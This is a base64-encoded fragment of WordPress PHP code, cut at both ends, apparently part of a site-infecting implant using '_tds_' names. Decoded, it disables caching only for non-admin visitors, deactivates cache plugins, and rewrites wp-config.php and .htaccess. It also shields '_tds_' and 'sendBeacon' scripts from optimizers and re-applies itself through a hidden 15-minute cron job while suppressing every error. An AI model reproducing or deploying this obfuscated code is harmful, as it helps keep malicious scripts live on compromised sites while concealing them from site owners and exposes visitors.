ICAgaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgnX3Rkc19jYWNoZV9zZWxmaGVhbCcpKSB7CiAgICAgICAgICAgICAgICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpLCAnX3Rkc18xNW1pbicsICdfdGRzX2NhY2hlX3NlbGZoZWFsJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9lKSB7fQogICAgICAgIH0sIDEpOwogICAgICAgIGFkZF9maWx0ZXIoJ2Nyb25fc2NoZWR1bGVzJywgZnVuY3Rpb24gKCRfcykgewogICAgICAgICAgICAkX3NbJ190ZHNfMTVtaW4nXSA9IGFycmF5KCdpbnRlcnZhbCcgPT4gOTAwLCAnZGlzcGxheScgPT4gJ0V2ZXJ5IDE1IG1pbicpOwogICAgICAgICAgICByZXR1cm4gJF9zOwogICAgICAgIH0pOwogICAgICAgIGFkZF9hY3Rpb24oJ190ZHNfY2FjaGVfc2VsZmhlYWwnLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ190ZHNfY2FjaGVfbnVrZScpKSB7IHRyeSB7IF90ZHNfY2FjaGVfbnVrZSgpOyB9IGNhdGNoIChcVGhyb3dhYmxlICRfZSkge30gfQogICAgICAgIH0pOwogICAgfQoKICAgIC8qIOKUgOKUgCBGcm9udGVuZC1vbmx5OiBjb25zdGFudHMgKyBmaWx0ZXJzICsgaGVhZGVycyDilIDilIAgKi8KICAgIGlmICgkX3Rkc19jYWNoZV9ieXBhc3NfbmVlZGVkICYmICFpc19hZG1pbigpICYmICFkZWZpbmVkKCdET0lOR19DUk9OJykgJiYgIWRlZmluZWQoJ1dQX0NMSScpICYmICFkZWZpbmVkKCdET0lOR19BSkFYJykgJiYgIWRlZmluZWQoJ1hNTFJQQ19SRVFVRVNUJykgJiYgcGhwX3NhcGlfbmFtZSgpICE9PSAnY2xpJykgewoKICAgICAgICAvLyAtLS0gQ29uc3RhbnRzIChsaWdodHdlaWdodCwgYWx3YXlzIHNhZmUpIC0tLQogICAgICAgIGZvcmVhY2ggKGFycmF5KCdET05PVENBQ0hFUEFHRScsJ0RPTk9UQ0FDSEVPQkpFQ1QnLCdET05PVENBQ0hFREInLCdET05PVE1JTklGWScsJ0RPTk9UQ0ROJywKICAgICAgICAgICAgJ0xTQ0FDSEVfTk9fQ0FDSEUnLCdMSVRFU1BFRURfRElTQUJMRV9BTEwnLCdET05PVFJPQ0tFVE9QVElNSVpFJywKICAgICAgICAgICAgJ0JSRUVaRV9ESVNBQkxFX0NBQ0hFJywnU0dfT1BUSU1JWkVSX05PX0NBQ0hFJykgYXMgJF9jaykgewogICAgICAgICAgICBpZiAoIWRlZmluZWQoJF9jaykpIGRlZmluZSgkX2NrLCB0cnVlKTsKICAgICAgICB9CgogICAgICAgIC8vIC0tLSBwbHVnaW5zX2xvYWRlZDogbGlnaHR3ZWlnaHQgZmlsdGVycyAoYWx3YXlzKSArIGhlYXZ5IHNlbGYtaGVhbCAocmF0ZS1saW1pdGVkKSAtLS0KICAgICAgICBhZGRfYWN0aW9uKCdwbHVnaW5zX2xvYWRlZCcsIGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIC8vIOKUgOKUgCBIZWF2eSBzZWxmLWhlYWw6IGZpbGUgd3JpdGVzICsgcGx1Z2luIGRlYWN0aXZhdGlvbiDilIDilIAKICAgICAgICAgICAgICAgIC8vIFJhdGUtbGltaXRlZCB0byBvbmNlIHBlciA1IG1pbiB0byBhdm9pZCByYWNlIGNvbmRpdGlvbnMgb24gd3AtY29uZmlnLnBocAogICAgICAgICAgICAgICAgaWYgKCFnZXRfdHJhbnNpZW50KCdfdGRzX3NoX29rJykpIHsKICAgICAgICAgICAgICAgICAgICBzZXRfdHJhbnNpZW50KCdfdGRzX3NoX29rJywgMSwgMzAwKTsKCiAgICAgICAgICAgICAgICAgICAgLy8gRGVhY3RpdmF0ZSBjYWNoZSBwbHVnaW5zCiAgICAgICAgICAgICAgICAgICAgJF9hY3QgPSBnZXRfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsIGFycmF5KCkpOwogICAgICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkX2FjdCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9jbGVhbiA9IGFycmF5KCk7ICRfa2lsbGVkID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfYWN0IGFzICRfcGwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghaXNfc3RyaW5nKCRfcGwpKSB7ICRfY2xlYW5bXSA9ICRfcGw7IGNvbnRpbnVlOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2lzID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChhcnJheSgnc3BlZWR5Y2FjaGUnLCd3cC1zdXBlci1jYWNoZScsJ3czLXRvdGFsLWNhY2hlJywnd3AtZmFzdGVzdC1jYWNoZScsJ2xpdGVzcGVlZC1jYWNoZScsJ3dwLXJvY2tldCcsJ2JyZWV6ZScsJ2h1bW1pbmdiaXJkJywnc2ctY2FjaGVwcmVzcycsJ3Bvd2VyZWQtY2FjaGUnLCdjb21ldC1jYWNoZScsJ2NhY2hlLWVuYWJsZXInLCdzd2lmdC1wZXJmb3JtYW5jZScsJ25pdHJvcGFjaycsJ2ZseWluZ3ByZXNzJywnd3Atb3B0aW1pemUnKSBhcyAkX3MpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkX3BsLCAkX3MpICE9PSBmYWxzZSkgeyAkX2lzID0gdHJ1ZTsgJF9raWxsZWQgPSB0cnVlOyBicmVhazsgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkX2lzKSAkX2NsZWFuW10gPSAkX3BsOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2tpbGxlZCkgdXBkYXRlX29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCAkX2NsZWFuKTsKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIC8vIEhvc3RpbmcgY2FjaGUgb3B0aW9ucwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdlbmR1cmFuY2VfY2FjaGVfbGV2ZWwnLCdzdGFydGVyX3BhZ2VfY2FjaGVfbGV2ZWwnLCdzdGFydGVyX2NhY2hlX2xldmVsJykgYXMgJF9vaykgewogICAgICAgICAgICAgICAgICAgICAgICAkX3YgPSBnZXRfb3B0aW9uKCRfb2spOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF92ICE9PSBmYWxzZSAmJiBpbnR2YWwoJF92KSA+IDApIHVwZGF0ZV9vcHRpb24oJF9vaywgMCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRfbW0gPSBnZXRfb3B0aW9uKCdtbV9jYWNoZV9zZXR0aW5ncycpOwogICAgICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkX21tKSAmJiAoIWVtcHR5KCRfbW1bJ3BhZ2UnXSkgfHwgIWVtcHR5KCRfbW1bJ2Jyb3dzZXInXSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfbW1bJ3BhZ2UnXSA9IDA7ICRfbW1bJ2Jyb3dzZXInXSA9IDA7IHVwZGF0ZV9vcHRpb24oJ21tX2NhY2hlX3NldHRpbmdzJywgJF9tbSk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAvLyB3cC1jb25maWcucGhwOiBXUF9DQUNIRT1mYWxzZSAoYXRvbWljIHdyaXRlKQogICAgICAgICAgICAgICAgICAgICRfd3BjID0gQUJTUEFUSCAuICd3cC1jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF93cGMpICYmIGlzX3dyaXRhYmxlKCRfd3BjKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX2NmZyA9IEBmaWxlX2dldF9jb250ZW50cygkX3dwYyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2NmZyAmJiBwcmVnX21hdGNoKCIvZGVmaW5lXHMqXChccypbJ1wiXVdQX0NBQ0hFWydcIl1ccyosXHMqdHJ1ZVxzKlwpL2kiLCAkX2NmZykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfbmV3X2NmZyA9IHByZWdfcmVwbGFjZSgiL2RlZmluZVxzKlwoXHMqWydcIl1XUF9DQUNIRVsnXCJdXHMqLFxzKnRydWVccypcKS9pIiwgImRlZmluZSgnV1BfQ0FDSEUnLGZhbHNlKSIsICRfY2ZnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX25ld19jZmcgJiYgc3RycG9zKCRfbmV3X2NmZywgJ0RCX05BTUUnKSAhPT0gZmFsc2UgJiYgZnVuY3Rpb25fZXhpc3RzKCdfdGRzX3NhZmVfd3JpdGUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF90ZHNfc2FmZV93cml0ZSgkX3dwYywgJF9uZXdfY2ZnLCAyMDApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAvLyAuaHRhY2Nlc3M6IHN0cmlwIEFMTCBjYWNoZS1wbHVnaW4gcmV3cml0ZSBibG9ja3MKICAgICAgICAgICAgICAgICAgICAkX2h0X3NoID0gQUJTUEFUSCAuICcuaHRhY2Nlc3MnOwogICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX2h0X3NoKSAmJiBpc193cml0YWJsZSgkX2h0X3NoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX2h0Y19zaCA9IEBmaWxlX2dldF9jb250ZW50cygkX2h0X3NoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfaHRjX3NoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2h0Y19zaF9vcmlnID0gJF9odGNfc2g7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnV3BGYXN0ZXN0Q2FjaGUnLCdHemlwV3BGYXN0ZXN0Q2FjaGUnLCdMQkNXcEZhc3Rlc3RDYWNoZScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1czVEMgUGFnZSBDYWNoZScsJ1czVEMgQnJvd3NlciBDYWNoZScsJ1czVEMgTWluaWZ5JywnVzNUQyBDRE4nLCdXM1RDJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnV1BTdXBlckNhY2hlJywnTFNDQUNIRScsJ0xpdGVTcGVlZCcsJ0NhY2hlRW5hYmxlcicsJ2NhY2hlX2VuYWJsZXInLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdTVEFSVEVSJywnU1RBUlRFUl9DQUNIRScsJ1NHT3B0aW1pemVyJywnU3RhcnRlciBQYWdlIENhY2hlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQlJFRVpFJywnV1AgUm9ja2V0JywnTml0cm9QYWNrJywnU0cgT3B0aW1pemVyJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnU3RhcnRlciBDYWNoZScsJ1N0YXJ0ZXItUGFnZS1DYWNoZScsJ3Bvd2VyZWQgY2FjaGUnLCdQb3dlcmVkQ2FjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzd2lmdC1wZXJmb3JtYW5jZScsJ1N3aWZ0UGVyZm9ybWFuY2UnLCdGbHlpbmdQcmVzcycsJ0h1bW1pbmdiaXJkJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnU3BlZWR5Q2FjaGUnLCdTcGVlZHlQYWdlQ2FjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgKSBhcyAkX2JsX3NoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9odGNfc2ggPSBwcmVnX3JlcGxhY2UoJy9ccyojXHMqQkVHSU5ccysnIC4gcHJlZ19xdW90ZSgkX2JsX3NoLCAnLycpIC4gJy4qPyNccypFTkRccysnIC4gcHJlZ19xdW90ZSgkX2JsX3NoLCAnLycpIC4gJ1teXG5dKi9zaScsICcnLCAkX2h0Y19zaCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2h0Y19zaCA9IHByZWdfcmVwbGFjZSgnL15ccypSZXdyaXRlUnVsZVxzKy4qd3AtY29udGVudFwvY2FjaGVcL2FsbFwvLiokL21pJywgJycsICRfaHRjX3NoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfaHRjX3NoID0gcHJlZ19yZXBsYWNlKCcvXlxzKlJld3JpdGVSdWxlXHMrLip3cC1jb250ZW50XC9jYWNoZVwvc3VwZXJjYWNoZVwvLiokL21pJywgJycsICRfaHRjX3NoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfaHRjX3NoID0gcHJlZ19yZXBsYWNlKCcvXG57NCx9LycsICJcblxuIiwgJF9odGNfc2gpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX2h0Y19zaCwgJ1REU19OT0NBQ0hFJykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9odGNfc2ggPSAiXG4jIEJFR0lOIFREU19OT0NBQ0hFXG48SWZNb2R1bGUgTGl0ZVNwZWVkPlxuQ2FjaGVEaXNhYmxlIHB1YmxpYyAvXG48L0lmTW9kdWxlPlxuIyBFTkQgVERTX05PQ0FDSEVcbiIgLiAkX2h0Y19zaDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2h0Y19zaCAhPT0gJF9odGNfc2hfb3JpZyAmJiBmdW5jdGlvbl9leGlzdHMoJ190ZHNfc2FmZV93cml0ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgX3Rkc19zYWZlX3dyaXRlKCRfaHRfc2gsICRfaHRjX3NoLCAxMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8g4pSA4pSAIExpZ2h0d2VpZ2h0IHJ1bnRpbWUgZmlsdGVycyAoYWx3YXlzLCBvbiBldmVyeSByZXF1ZXN0KSDilIDilIAKICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2NhY2hlX2NsZWFyX2NhY2hlJykpIHsgZ2xvYmFsICRjYWNoZV9lbmFibGVkLCAkc3VwZXJfY2FjaGVfZW5hYmxlZDsgJGNhY2hlX2VuYWJsZWQgPSBmYWxzZTsgJHN1cGVyX2NhY2hlX2VuYWJsZWQgPSBmYWxzZTsgfQogICAgICAgICAgICAgICAgaWYgKGNsYXNzX2V4aXN0cygnVzNfUGx1Z2luX1RvdGFsQ2FjaGUnKSB8fCBmdW5jdGlvbl9leGlzdHMoJ3czdGNfcGdjYWNoZV9mbHVzaCcpKSBhZGRfZmlsdGVyKCd3M3RjX2Nhbl9jYWNoZScsICdfX3JldHVybl9mYWxzZScsIDk5OTkpOwogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncm9ja2V0X2NsZWFuX2RvbWFpbicpKSB7CiAgICAgICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignZG9fcm9ja2V0X2dlbmVyYXRlX2NhY2hpbmdfZmlsZXMnLCAnX19yZXR1cm5fZmFsc2UnLCA5OTk5KTsKICAgICAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdyb2NrZXRfY2FjaGVfcmVqZWN0X3VyaScsIGZ1bmN0aW9uICgkdSkgeyAkdVtdID0gJyguKiknOyByZXR1cm4gJHU7IH0sIDk5OTkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKGNsYXNzX2V4aXN0cygnTGl0ZVNwZWVkX0NhY2hlJykgfHwgY2xhc3NfZXhpc3RzKCdMaXRlU3BlZWRcXENvcmUnKSkgewogICAgICAgICAgICAgICAgICAgIGRvX2FjdGlvbignbGl0ZXNwZWVkX2NvbnRyb2xfc2V0X25vY2FjaGUnLCAndGRzJyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKG1ldGhvZF9leGlzdHMoJ0xpdGVTcGVlZF9DYWNoZV9BUEknLCAnc2V0X25vY2FjaGUnKSkgeyB0cnkgeyBATGl0ZVNwZWVkX0NhY2hlX0FQSTo6c2V0X25vY2FjaGUoJ3RkcycpOyB9IGNhdGNoIChcVGhyb3dhYmxlICRfZSkge30gfQogICAgICAgICAgICAgICAgICAgIGlmIChjbGFzc19leGlzdHMoJ0xpdGVTcGVlZFxcQ29yZScpICYmIG1ldGhvZF9leGlzdHMoJ0xpdGVTcGVlZFxcQ29yZScsICdjbHMnKSkgeyB0cnkgeyBcTGl0ZVNwZWVkXENvcmU6OmNscygnQ29udHJvbCcpLT5zZXRfbm9jYWNoZSgndGRzJyk7IH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9lKSB7fSB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCd3cGZjX2V4Y2x1ZGVfY3VycmVudF9wYWdlJywgJ19fcmV0dXJuX3RydWUnLCA5OTk5KTsKICAgICAgICAgICAgICAgIGFkZF9maWx0ZXIoJ3dwaGJfc2hvdWxkX2NhY2hlX3JlcXVlc3QnLCAnX19yZXR1cm5fZmFsc2UnLCA5OTk5KTsKICAgICAgICAgICAgICAgIGFkZF9maWx0ZXIoJ2NvbWV0X2NhY2hlX21heWJlX2NhY2hlJywgJ19fcmV0dXJuX2ZhbHNlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCd6ZW5jYWNoZV9tYXliZV9jYWNoZScsICdfX3JldHVybl9mYWxzZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignc3dpZnRfcGVyZm9ybWFuY2VfaXNfY2FjaGVhYmxlJywgJ19fcmV0dXJuX2ZhbHNlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdjYWNoZV9lbmFibGVyX2J5cGFzc19jYWNoZScsICdfX3JldHVybl90cnVlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdwb3dlcmVkX2NhY2hlX2lzX2NhY2hlYWJsZScsICdfX3JldHVybl9mYWxzZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignc2dvX2J5cGFzc19jYWNoZScsICdfX3JldHVybl90cnVlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdicmVlemVfY2FjaGVfdGhpc19wYWdlJywgJ19fcmV0dXJuX2ZhbHNlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdmbHlpbmdfcHJlc3NfaXNfY2FjaGVhYmxlJywgJ19fcmV0dXJuX2ZhbHNlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdzcGVlZHljYWNoZV9leGNsdWRlX3BhZ2UnLCAnX19yZXR1cm5fdHJ1ZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignd3BvX2Nhbl9jYWNoZV9wYWdlJywgJ19fcmV0dXJuX2ZhbHNlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCduaXRyb3BhY2tfaXNfY2FjaGVhYmxlJywgJ19fcmV0dXJuX2ZhbHNlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdzdGFydGVyX3BhZ2VfY2FjaGVfZGlzYWJsZScsICdfX3JldHVybl90cnVlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdmbGF2b3JfY2FjaGVfdGhpc19wYWdlJywgJ19fcmV0dXJuX2ZhbHNlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdraW5zdGFfY2FjaGVfYnlwYXNzJywgJ19fcmV0dXJuX3RydWUnLCA5OTk5KTsKICAgICAgICAgICAgICAgIGFkZF9maWx0ZXIoJ2F1dG9wdGltaXplX2ZpbHRlcl9qc19leGNsdWRlJywgZnVuY3Rpb24gKCR4KSB7IHJldHVybiAkeCAuICcsX3Rkc18sc2VuZEJlYWNvbixfZWIsX2JjJzsgfSwgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdwZXJmbWF0dGVyc19kZWxheV9qc19leGNsdXNpb25zJywgZnVuY3Rpb24gKCR4KSB7ICR4W10gPSAnX3Rkc18nOyAkeFtdID0gJ3NlbmRCZWFjb24nOyByZXR1cm4gJHg7IH0sIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcigncm9ja2V0X2RlbGF5X2pzX2V4Y2x1c2lvbnMnLCBmdW5jdGlvbiAoJHgpIHsgJHhbXSA9ICdfdGRzXyc7ICR4W10gPSAnc2VuZEJlYWNvbic7IHJldHVybiAkeDsgfSwgOTk5OSk7CgogICAgICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfZmF0YWwpIHsKICAgICAgICAgICAgICAgIC8vIE5ldmVyIGNyYXNoIHRoZSBzaXRlIGZyb20gY2FjaGUgbWFuYWdlbWVudAogICAgICAgICAgICB9CiAgICAgICAgfSwgMCk7CgogICAgICAgIC8vIC0tLSBIVFRQIHJlc3BvbnNlIGhlYWRlcnMgLS0tCiAgICAgICAgYWRkX2FjdGlvbignc2VuZF9oZWFkZXJzJywgZnVuY3Rpb24gKCkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgaWYgKGhlYWRlcnNfc2VudCgpKSByZXR1cm47CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBtYXgtYWdlPTAsIHMtbWF4YWdlPTAsIHByb3h5LXJldmFsaWRhdGUsIHByaXZhdGUnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignUHJhZ21hOiBuby1jYWNoZScpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdFeHBpcmVzOiBUaHUsIDAxIEphbiAxOTcwIDAwOjAwOjAwIEdNVCcpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdWYXJ5OiAqJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1gtQWNjZWwtRXhwaXJlczogMCcpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdTdXJyb2dhdGUtQ29udHJvbDogbm8tc3RvcmUnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignWC1WYXJuaXNoLU5vLUNhY2hlOiAxJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1gtTGl0ZVNwZWVkLUNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1gtTGl0ZVNwZWVkLVB1cmdlOiAqJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NETi1DYWNoZS1Db250cm9sOiBuby1zdG9yZScpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdDbG91ZGZsYXJlLUNETi1DYWNoZS1Db250cm9sOiBuby1zdG9yZScpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdYLUVuZHVyYW5jZS1DYWNoZS1MZXZlbDogMCcpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdYLVN0YXJ0ZXItQ2FjaGUtTGV2ZWw6IDAnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignWC1DYWNoZS1FbmFibGVkOiBGYWxzZScpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdYLVdQRS1TZWdtZW50LUNhY2hlOiAwJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1gtUGFudGhlb24tQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignWC1Qcm94eS1DYWNoZTogQllQQVNTJyk7CiAgICAgICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9lKSB7fQogICAgICAgIH0sIDApOwoKICAgICAgICAvLyAtLS0gUGVyLXJlcXVlc3Q6IHdpcGUgY2FjaGVkIEhUTUwgKHNhbml0aXplZCBwYXRocykgLS0tCiAgICAgICAgYWRkX2FjdGlvbignc2h1dGRvd24nLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAkX3VyaSA9IGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSA/IHN0cnRvaygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgJz8nKSA6ICcvJzsKICAgICAgICAgICAgICAgIGlmICghaXNfc3RyaW5nKCRfdXJpKSB8fCAkX3VyaSA9PT0gJycpICRfdXJpID0gJy8nOwogICAgICAgICAgICAgICAgJF91cmkgPSAnLycgLiBsdHJpbShzdHJfcmVwbGFjZShhcnJheSgnLi4nLCAiXDAiLCAnXFwnKSwgJycsICRfdXJpKSwgJy8nKTsKICAgICAgICAgICAgICAgICRfaG9zdCA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyBwcmVnX3JlcGxhY2UoJy9bXmEtekEtWjAtOS5cLV0vJywgJycsICRfU0VSVkVSWydIVFRQX0hPU1QnXSkgOiAnJzsKICAgICAgICAgICAgICAgIGlmIChzdHJsZW4oJF9ob3N0KSA+IDI1MyB8fCBzdHJsZW4oJF91cmkpID4gNTEyKSByZXR1cm47CiAgICAgICAgICAgICAgICAkX2Jhc2UgPSBXUF9DT05URU5UX0RJUiAuICcvY2FjaGUnOwogICAgICAgICAgICAgICAgaWYgKCFpc19kaXIoJF9iYXNlKSkgcmV0dXJuOwogICAgICAgICAgICAgICAgJF9zdWJzID0gYXJyYXkoJ2FsbCcsJ3N1cGVyY2FjaGUnLCdzcGVlZHljYWNoZScsJ3dwLWZhc3Rlc3QtY2FjaGUnLCdzdGFydGVyJywnc3RhcnRlci1wYWdlLWNhY2hlJywnc3RhcnRlci1jYWNoZScpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9zdWJzIGFzICRfcykgewogICAgICAgICAgICAgICAgICAgICRfcCA9ICRfYmFzZSAuICcvJyAuICRfcyAuICcvJyAuICRfaG9zdCAuICRfdXJpOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdpbmRleC5odG1sJywnaW5kZXguaHRtbC5neicsJ2luZGV4LWh0dHBzLmh0bWwnLCdpbmRleC1odHRwcy5odG1sLmd6JykgYXMgJF9mKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfZnVsbCA9ICRfcCAuICRfZjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHN0cnBvcyhyZWFscGF0aChkaXJuYW1lKCRfZnVsbCkpID86ICcnLCByZWFscGF0aCgkX2Jhc2UpID86ICdfX19fJykgPT09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX2Z1bGwpKSBAdW5saW5rKCRfZnVsbCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9lKSB7fQogICAgICAgIH0sIDApOwoKICAgICAgICAvLyAtLS0gT25jZSBwZXIgY29uZmlnIGNoYW5nZTogZnVsbCBudWtlIC0tLQogICAgICAgICRfdGRzX2NhY2hlX2NsZWFuZWQgPSBnZXRfdHJhbnNpZW50KCdfdGRzX2NhY2hlX2NsZWFuZWQnKTsKICAgICAgICBpZiAoISRfdGRzX2NhY2hlX2NsZWFuZWQgfHwgJF90ZHNfY2FjaGVfY2xlYW5lZCAhPT0gbWQ1KCRfdGRzX2Vhcmx5X3JhdykpIHsKICAgICAgICAgICAgYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uICgpIHVzZSAoJF90ZHNfZWFybHlfcmF3KSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ190ZHNfY2FjaGVfbnVrZScpKSBfdGRzX2NhY2hlX251a2UoKTsKICAgICAgICAgICAgICAgICAgICBzZXRfdHJhbnNpZW50KCdfdGRzX2NhY2hlX2NsZWFuZWQnLCBtZDUoJF90ZHNfZWFybHlfcmF3KSwgMzYwMCk7CiAgICAgICAgICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfZSkge30KICAgICAgICAgICAgfSwgMSk7CiAgICAgICAgfQogICAgfQp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilI